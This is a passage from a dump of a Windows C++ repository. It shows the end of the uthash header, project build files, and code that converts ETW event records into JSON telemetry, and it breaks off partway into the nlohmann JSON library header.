NULL) ?                                     \\\n              HH_FROM_ELMT((head)->hh.tbl, _hs_q->next) : NULL);                 \\\n            _hs_qsize--;                                                         \\\n          }                                                                      \\\n          if ( _hs_tail != NULL ) {                                              \\\n            _hs_tail->next = ((_hs_e != NULL) ?                                  \\\n              ELMT_FROM_HH((head)->hh.tbl, _hs_e) : NULL);                       \\\n          } else {                                                               \\\n            _hs_list = _hs_e;                                                    \\\n          }                                                                      \\\n          if (_hs_e != NULL) {                                                   \\\n            _hs_e->prev = ((_hs_tail != NULL) ?                                  \\\n              ELMT_FROM_HH((head)->hh.tbl, _hs_tail) : NULL);                    \\\n          }                                                                      \\\n          _hs_tail = _hs_e;                                                      \\\n        }                                                                        \\\n        _hs_p = _hs_q;                                                           \\\n      }                                                                          \\\n      if (_hs_tail != NULL) {                                                    \\\n        _hs_tail->next = NULL;                                                   \\\n      }                                                                          \\\n      if (_hs_nmerges <= 1U) {                                                   \\\n        _hs_looping = 0;                                                         \\\n        (head)->hh.tbl->tail = _hs_tail;                                         \\\n        DECLTYPE_ASSIGN(head, ELMT_FROM_HH((head)->hh.tbl, _hs_list));           \\\n      }                                                                          \\\n      _hs_insize *= 2U;                                                          \\\n    }                                                                            \\\n    HASH_FSCK(hh, head, \"HASH_SRT\");                                             \\\n  }                                                                              \\\n} while (0)\n\n  /* This function selects items from one hash into another hash.\n   * The end result is that the selected items have dual presence\n   * in both hashes. There is no copy of the items made; rather\n   * they are added into the new hash through a secondary hash\n   * hash handle that must be present in the structure. */\n#define HASH_SELECT(hh_dst, dst, hh_src, src, cond)                              \\\ndo {                                                                             \\\n  unsigned _src_bkt, _dst_bkt;                                                   \\\n  void *_last_elt = NULL, *_elt;                                                 \\\n  UT_hash_handle *_src_hh, *_dst_hh, *_last_elt_hh=NULL;                         \\\n  ptrdiff_t _dst_hho = ((char*)(&(dst)->hh_dst) - (char*)(dst));                 \\\n  if ((src) != NULL) {                                                           \\\n    for (_src_bkt=0; _src_bkt < (src)->hh_src.tbl->num_buckets; _src_bkt++) {    \\\n      for (_src_hh = (src)->hh_src.tbl->buckets[_src_bkt].hh_head;               \\\n        _src_hh != NULL;                                                         \\\n        _src_hh = _src_hh->hh_next) {                                            \\\n        _elt = ELMT_FROM_HH((src)->hh_src.tbl, _src_hh);                         \\\n        if (cond(_elt)) {                                                        \\\n          IF_HASH_NONFATAL_OOM( int _hs_oomed = 0; )                             \\\n          _dst_hh = (UT_hash_handle*)(void*)(((char*)_elt) + _dst_hho);          \\\n          _dst_hh->key = _src_hh->key;                                           \\\n          _dst_hh->keylen = _src_hh->keylen;                                     \\\n          _dst_hh->hashv = _src_hh->hashv;                                       \\\n          _dst_hh->prev = _last_elt;                                             \\\n          _dst_hh->next = NULL;                                                  \\\n          if (_last_elt_hh != NULL) {                                            \\\n            _last_elt_hh->next = _elt;                                           \\\n          }                                                                      \\\n          if ((dst) == NULL) {                                                   \\\n            DECLTYPE_ASSIGN(dst, _elt);                                          \\\n            HASH_MAKE_TABLE(hh_dst, dst, _hs_oomed);                             \\\n            IF_HASH_NONFATAL_OOM(                                                \\\n              if (_hs_oomed) {                                                   \\\n                uthash_nonfatal_oom(_elt);                                       \\\n                (dst) = NULL;                                                    \\\n                continue;                                                        \\\n              }                                                                  \\\n            )                                                                    \\\n          } else {                                                               \\\n            _dst_hh->tbl = (dst)->hh_dst.tbl;                                    \\\n          }                                                                      \\\n          HASH_TO_BKT(_dst_hh->hashv, _dst_hh->tbl->num_buckets, _dst_bkt);      \\\n          HASH_ADD_TO_BKT(_dst_hh->tbl->buckets[_dst_bkt], hh_dst, _dst_hh, _hs_oomed); \\\n          (dst)->hh_dst.tbl->num_items++;                                        \\\n          IF_HASH_NONFATAL_OOM(                                                  \\\n            if (_hs_oomed) {                                                     \\\n              HASH_ROLLBACK_BKT(hh_dst, dst, _dst_hh);                           \\\n              HASH_DELETE_HH(hh_dst, dst, _dst_hh);                              \\\n              _dst_hh->tbl = NULL;                                               \\\n              uthash_nonfatal_oom(_elt);                                         \\\n              continue;                                                          \\\n            }                                                                    \\\n          )                                                                      \\\n          HASH_BLOOM_ADD(_dst_hh->tbl, _dst_hh->hashv);                          \\\n          _last_elt = _elt;                                                      \\\n          _last_elt_hh = _dst_hh;                                                \\\n        }                                                                        \\\n      }                                                                          \\\n    }                                                                            \\\n  }                                                                              \\\n  HASH_FSCK(hh_dst, dst, \"HASH_SELECT\");                                         \\\n} while (0)\n\n#define HASH_CLEAR(hh,head)                                                      \\\ndo {                                                                             \\\n  if ((head) != NULL) {                                                          \\\n    HASH_BLOOM_FREE((head)->hh.tbl);                                             \\\n    uthash_free((head)->hh.tbl->buckets,                                         \\\n                (head)->hh.tbl->num_buckets*sizeof(struct UT_hash_bucket));      \\\n    uthash_free((head)->hh.tbl, sizeof(UT_hash_table));                          \\\n    (head) = NULL;                                                               \\\n  }                                                                              \\\n} while (0)\n\n#define HASH_OVERHEAD(hh,head)                                                   \\\n (((head) != NULL) ? (                                                           \\\n (size_t)(((head)->hh.tbl->num_items   * sizeof(UT_hash_handle))   +             \\\n          ((head)->hh.tbl->num_buckets * sizeof(UT_hash_bucket))   +             \\\n           sizeof(UT_hash_table)                                   +             \\\n           (HASH_BLOOM_BYTELEN))) : 0U)\n\n#ifdef NO_DECLTYPE\n#define HASH_ITER(hh,head,el,tmp)                                                \\\nfor(((el)=(head)), ((*(char**)(&(tmp)))=(char*)((head!=NULL)?(head)->hh.next:NULL)); \\\n  (el) != NULL; ((el)=(tmp)), ((*(char**)(&(tmp)))=(char*)((tmp!=NULL)?(tmp)->hh.next:NULL)))\n#else\n#define HASH_ITER(hh,head,el,tmp)                                                \\\nfor(((el)=(head)), ((tmp)=DECLTYPE(el)((head!=NULL)?(head)->hh.next:NULL));      \\\n  (el) != NULL; ((el)=(tmp)), ((tmp)=DECLTYPE(el)((tmp!=NULL)?(tmp)->hh.next:NULL)))\n#endif\n\n   /* obtain a count of items in the hash */\n#define HASH_COUNT(head) HASH_CNT(hh,head)\n#define HASH_CNT(hh,head) ((head != NULL)?((head)->hh.tbl->num_items):0U)\n\ntypedef struct UT_hash_bucket {\n    struct UT_hash_handle* hh_head;\n    unsigned count;\n\n    /* expand_mult is normally set to 0. In this situation, the max chain length\n     * threshold is enforced at its default value, HASH_BKT_CAPACITY_THRESH. (If\n     * the bucket's chain exceeds this length, bucket expansion is triggered).\n     * However, setting expand_mult to a non-zero value delays bucket expansion\n     * (that would be triggered by additions to this particular bucket)\n     * until its chain length reaches a *multiple* of HASH_BKT_CAPACITY_THRESH.\n     * (The multiplier is simply expand_mult+1). The whole idea of this\n     * multiplier is to reduce bucket expansions, since they are expensive, in\n     * situations where we know that a particular bucket tends to be overused.\n     * It is better to let its chain length grow to a longer yet-still-bounded\n     * value, than to do an O(n) bucket expansion too often.\n     */\n    unsigned expand_mult;\n\n} UT_hash_bucket;\n\n/* random signature used only to find hash tables in external analysis */\n#define HASH_SIGNATURE 0xa0111fe1u\n#define HASH_BLOOM_SIGNATURE 0xb12220f2u\n\ntypedef struct UT_hash_table {\n    UT_hash_bucket* buckets;\n    unsigned num_buckets, log2_num_buckets;\n    unsigned num_items;\n    struct UT_hash_handle* tail; /* tail hh in app order, for fast append    */\n    ptrdiff_t hho; /* hash handle offset (byte pos of hash handle in element */\n\n    /* in an ideal situation (all buckets used equally), no bucket would have\n     * more than ceil(#items/#buckets) items. that's the ideal chain length. */\n    unsigned ideal_chain_maxlen;\n\n    /* nonideal_items is the number of items in the hash whose chain position\n     * exceeds the ideal chain maxlen. these items pay the penalty for an uneven\n     * hash distribution; reaching them in a chain traversal takes >ideal steps */\n    unsigned nonideal_items;\n\n    /* ineffective expands occur when a bucket doubling was performed, but\n     * afterward, more than half the items in the hash had nonideal chain\n     * positions. If this happens on two consecutive expansions we inhibit any\n     * further expansion, as it's not helping; this happens when the hash\n     * function isn't a good fit for the key domain. When expansion is inhibited\n     * the hash will still work, albeit no longer in constant time. */\n    unsigned ineff_expands, noexpand;\n\n    uint32_t signature; /* used only to find hash tables in external analysis */\n#ifdef HASH_BLOOM\n    uint32_t bloom_sig; /* used only to test bloom exists in external analysis */\n    uint8_t* bloom_bv;\n    uint8_t bloom_nbits;\n#endif\n\n} UT_hash_table;\n\ntypedef struct UT_hash_handle {\n    struct UT_hash_table* tbl;\n    void* prev;                       /* prev element in app order      */\n    void* next;                       /* next element in app order      */\n    struct UT_hash_handle* hh_prev;   /* previous hh in bucket order    */\n    struct UT_hash_handle* hh_next;   /* next hh in bucket order        */\n    const void* key;                  /* ptr to enclosing struct's key  */\n    unsigned keylen;                  /* enclosing struct's key len     */\n    unsigned hashv;                   /* result of hash-fcn(key)        */\n} UT_hash_handle;\n\n#endif /* UTHASH_H */"
  },
  {
    "path": "RedEdrShared/RedEdrShared.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>16.0</VCProjectVersion>\n    <Keyword>Win32Proj</Keyword>\n    <ProjectGuid>{7f48fa73-b6a6-4725-bf99-835f2c0e2405}</ProjectGuid>\n    <RootNamespace>RedEdrShared</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Utility</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Utility</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Utility</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Utility</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32_LEAN_AND_MEAN;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>$(SolutionDir)RedEdrShared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <LanguageStandard>stdcpp17</LanguageStandard>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32_LEAN_AND_MEAN;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <LanguageStandard>stdcpp17</LanguageStandard>\n      <AdditionalIncludeDirectories>$(SolutionDir)RedEdrShared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"etw_krabs.cpp\" />\n    <ClCompile Include=\"loguru.cpp\" />\n    <ClCompile Include=\"piping.cpp\" />\n    <ClCompile Include=\"myprocess.cpp\" />\n    <ClCompile Include=\"process_mem_static.cpp\" />\n    <ClCompile Include=\"process_query.cpp\" />\n    <ClCompile Include=\"process_resolver.cpp\" />\n    <ClCompile Include=\"ranges.cpp\" />\n    <ClCompile Include=\"utils.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"etw_krabs.h\" />\n    <ClInclude Include=\"json.hpp\" />\n    <ClInclude Include=\"loguru.hpp\" />\n    <ClInclude Include=\"mypeb.h\" />\n    <ClInclude Include=\"piping.h\" />\n    <ClInclude Include=\"myprocess.h\" />\n    <ClInclude Include=\"process_mem_static.h\" />\n    <ClInclude Include=\"process_query.h\" />\n    <ClInclude Include=\"process_resolver.h\" />\n    <ClInclude Include=\"ranges.h\" />\n    <ClInclude Include=\"utils.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n    <Import Project=\"..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets\" Condition=\"Exists('..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets')\" />\n  </ImportGroup>\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "RedEdrShared/RedEdrShared.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"loguru.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"piping.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"utils.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"ranges.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"etw_krabs.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"process_query.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"myprocess.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"process_resolver.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"process_mem_static.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"loguru.hpp\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"piping.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"utils.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"ranges.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"json.hpp\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"etw_krabs.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"process_query.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"mypeb.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"myprocess.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"process_resolver.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"process_mem_static.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "RedEdrShared/etw_krabs.cpp",
    "content": "#include <Windows.h>\n#include <iostream>\n#include <string>\n#include <sstream>\n#include <krabs.hpp>\n#include \"json.hpp\"\n\n#include \"etw_krabs.h\"\n#include \"utils.h\"\n\n\nnlohmann::json KrabsEtwEventToJsonStr(const EVENT_RECORD& record, krabs::schema schema) {\n    krabs::parser parser(schema);\n\n    // To construct a JSON, we use nlohmann::json, which works in std::string\n    // (utf-8). We need to convert all data several times.\n\n    nlohmann::json j;\n\n    j[\"type\"] = \"etw\";\n    j[\"etw_time\"] = static_cast<__int64>(record.EventHeader.TimeStamp.QuadPart);\n    j[\"etw_pid\"] = record.EventHeader.ProcessId;\n    j[\"etw_tid\"] = record.EventHeader.ThreadId;\n\n    // Construct the event string, like \"ImageLoad\"\n    std::wstring a = std::wstring(schema.task_name());\n    std::wstring b = std::wstring(schema.opcode_name());\n    std::wstring c = a + b;\n    std::string d = wstring2string(c);\n    j[\"event\"] = d;\n\n    //j[\"opcode_id\"] = schema.event_opcode();\n\tj[\"etw_event_id\"] = schema.event_id();\n\n\t// The ProviderId is just the UID of the provider, which is not very useful\n    // This is a workaround. Alternative would be to use TdhGetEventInformation()?\n    //j[\"provider_name\"] = std::to_string(record.EventHeader.ProviderId);\n    j[\"etw_provider_name\"] = wchar2string(schema.provider_name());\n\n    // Iterate over all properties defined in the schema\n    for (const auto& property : parser.properties()) {\n        try {\n            // Get the name and type of the property\n            const std::wstring& propertyName = property.name();\n            const auto propertyType = property.type();\n\n            /*\n            * Reserved1\":\"0\",\"Reserved2\":\"0\",\"Reserved3\":\"0\",\"Reserved4\":\"0\",\n            * \"SignatureLevel\":\"(Unsupported type)\\n\",\"SignatureType\":\"(Unsupported type)\\n\n            */\n            if (wstring_starts_with(propertyName, L\"Reserved\") || wstring_starts_with(propertyName, L\"Signature\")) {\n                continue;\n            }\n            std::string jsonKey = wstring2string((std::wstring&)propertyName);\n            std::transform(jsonKey.begin(), jsonKey.end(), jsonKey.begin(), ::tolower); // lowercase\n\n            // Special cases\n            if (propertyName == L\"ProtectionMask\" || propertyName == L\"LastProtectionMask\") {\n                uint32_t protection_mask = parser.parse<uint32_t>(propertyName);\n                j[jsonKey] = getMemoryRegionProtect(protection_mask);\n                continue;\n            }\n\n            switch (propertyType) {\n            case TDH_INTYPE_UINT32:\n                j[jsonKey] = (uint32_t) parser.parse<uint32_t>(propertyName);\n                //j[jsonKey + \"_vartype\"] = \"TDH_INTYPE_UINT32\";\n                break;\n\n            case TDH_INTYPE_UINT64:\n                j[jsonKey] = (uint64_t) parser.parse<uint64_t>(propertyName);\n                //j[jsonKey + \"_vartype\"] = \"TDH_INTYPE_UINT64\";\n                break;\n\n            case TDH_INTYPE_UNICODESTRING:\n            {\n                std::wstringstream ss;\n                ss << parser.parse<std::wstring>(propertyName);\n                std::string s = wstring2string((std::wstring&)ss.str());\n                j[jsonKey] = s;\n            }\n                break;\n\n            case TDH_INTYPE_ANSISTRING:\n                j[jsonKey] = parser.parse<std::string>(propertyName);\n                break;\n\n            case TDH_INTYPE_POINTER:\n                j[jsonKey] = (uint64_t) parser.parse<PVOID>(propertyName);\n                //j[jsonKey + \"_vartype\"] = \"TDH_INTYPE_POINTER\";\n                break;\n\n            case TDH_INTYPE_FILETIME:\n            {\n                // Not a PFILETIME!\n                FILETIME fileTime = parser.parse<FILETIME>(propertyName);\n\n                // As int\n                ULARGE_INTEGER uli;\n                uli.LowPart = fileTime.dwLowDateTime;\n                uli.HighPart = fileTime.dwHighDateTime;\n\n                j[jsonKey] = uli.QuadPart;\n                break;\n            }\n\n            default:\n                j[jsonKey] = \"unsupported\";\n                break;\n            }\n\n        }\n        catch (const std::exception& ex) {\n            std::wcout << L\"Failed to parse property: \" << ex.what() << L\"\\n\";\n        }\n    }\n\n    // Callstack\n    j[\"stack_trace\"] = nlohmann::json::array();\n    auto stack_trace = schema.stack_trace();\n    int idx = 0;\n    for (auto& return_address : stack_trace)\n    {\n        // Only add non-kernelspace addresses\n        if (return_address < 0xFFFF080000000000) {\n            j[\"stack_trace\"].push_back({ \n                { \"addr\", return_address}, \n                { \"idx\", idx }\n            });\n            idx++;\n        }\n    }\n\n    return j;\n}\n"
  },
  {
    "path": "RedEdrShared/etw_krabs.h",
    "content": "\n#include <krabs.hpp>\n#include <json.hpp>\n\nnlohmann::json KrabsEtwEventToJsonStr(const EVENT_RECORD& record, krabs::schema schema);\n"
  },
  {
    "path": "RedEdrShared/json.hpp",
    "content": "//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n/****************************************************************************\\\n * Note on documentation: The source files contain links to the online      *\n * documentation of the public API at https://json.nlohmann.me. This URL    *\n * contains the most recent documentation and should also be applicable to  *\n * previous versions; documentation for deprecated functions is not         *\n * removed, but marked deprecated. See \"Generate documentation\" section in  *\n * file docs/README.md.                                                     *\n\\****************************************************************************/\n\n#ifndef INCLUDE_NLOHMANN_JSON_HPP_\n#define INCLUDE_NLOHMANN_JSON_HPP_\n\n#include <algorithm> // all_of, find, for_each\n#include <cstddef> // nullptr_t, ptrdiff_t, size_t\n#include <functional> // hash, less\n#include <initializer_list> // initializer_list\n#ifndef JSON_NO_IO\n#include <iosfwd> // istream, ostream\n#endif  // JSON_NO_IO\n#include <iterator> // random_access_iterator_tag\n#include <memory> // unique_ptr\n#include <string> // string, stoi, to_string\n#include <utility> // declval, forward, move, pair, swap\n#include <vector> // vector\n\n// #include <nlohmann/adl_serializer.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <utility>\n\n// #include <nlohmann/detail/abi_macros.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n// This file contains all macro definitions affecting or depending on the ABI\n\n#ifndef JSON_SKIP_LIBRARY_VERSION_CHECK\n#if defined(NLOHMANN_JSON_VERSION_MAJOR) && defined(NLOHMANN_JSON_VERSION_MINOR) && defined(NLOHMANN_JSON_VERSION_PATCH)\n#if NLOHMANN_JSON_VERSION_MAJOR != 3 || NLOHMANN_JSON_VERSION_MINOR != 11 || NLOHMANN_JSON_VERSION_PATCH != 3\n#warning \"Already included a different version of the library!\"\n#endif\n#endif\n#endif\n\n#define NLOHMANN_JSON_VERSION_MAJOR 3   // NOLINT(modernize-macro-to-enum)\n#define NLOHMANN_JSON_VERSION_MINOR 11  // NOLINT(modernize-macro-to-enum)\n#define NLOHMANN_JSON_VERSION_PATCH 3   // NOLINT(modernize-macro-to-enum)\n\n#ifndef JSON_DIAGNOSTICS\n#define JSON_DIAGNOSTICS 0\n#endif\n\n#ifndef JSON_USE_LEGACY_DISCARDED_VALUE_COMPARISON\n#define JSON_USE_LEGACY_DISCARDED_VALUE_COMPARISON 0\n#endif\n\n#if JSON_DIAGNOSTICS\n#define NLOHMANN_JSON_ABI_TAG_DIAGNOSTICS _diag\n#else\n#define NLOHMANN_JSON_ABI_TAG_DIAGNOSTICS\n#endif\n\n#if JSON_USE_LEGACY_DISCARDED_VALUE_COMPARISON\n#define NLOHMANN_JSON_ABI_TAG_LEGACY_DISCARDED_VALUE_COMPARISON _ldvcmp\n#else\n#define 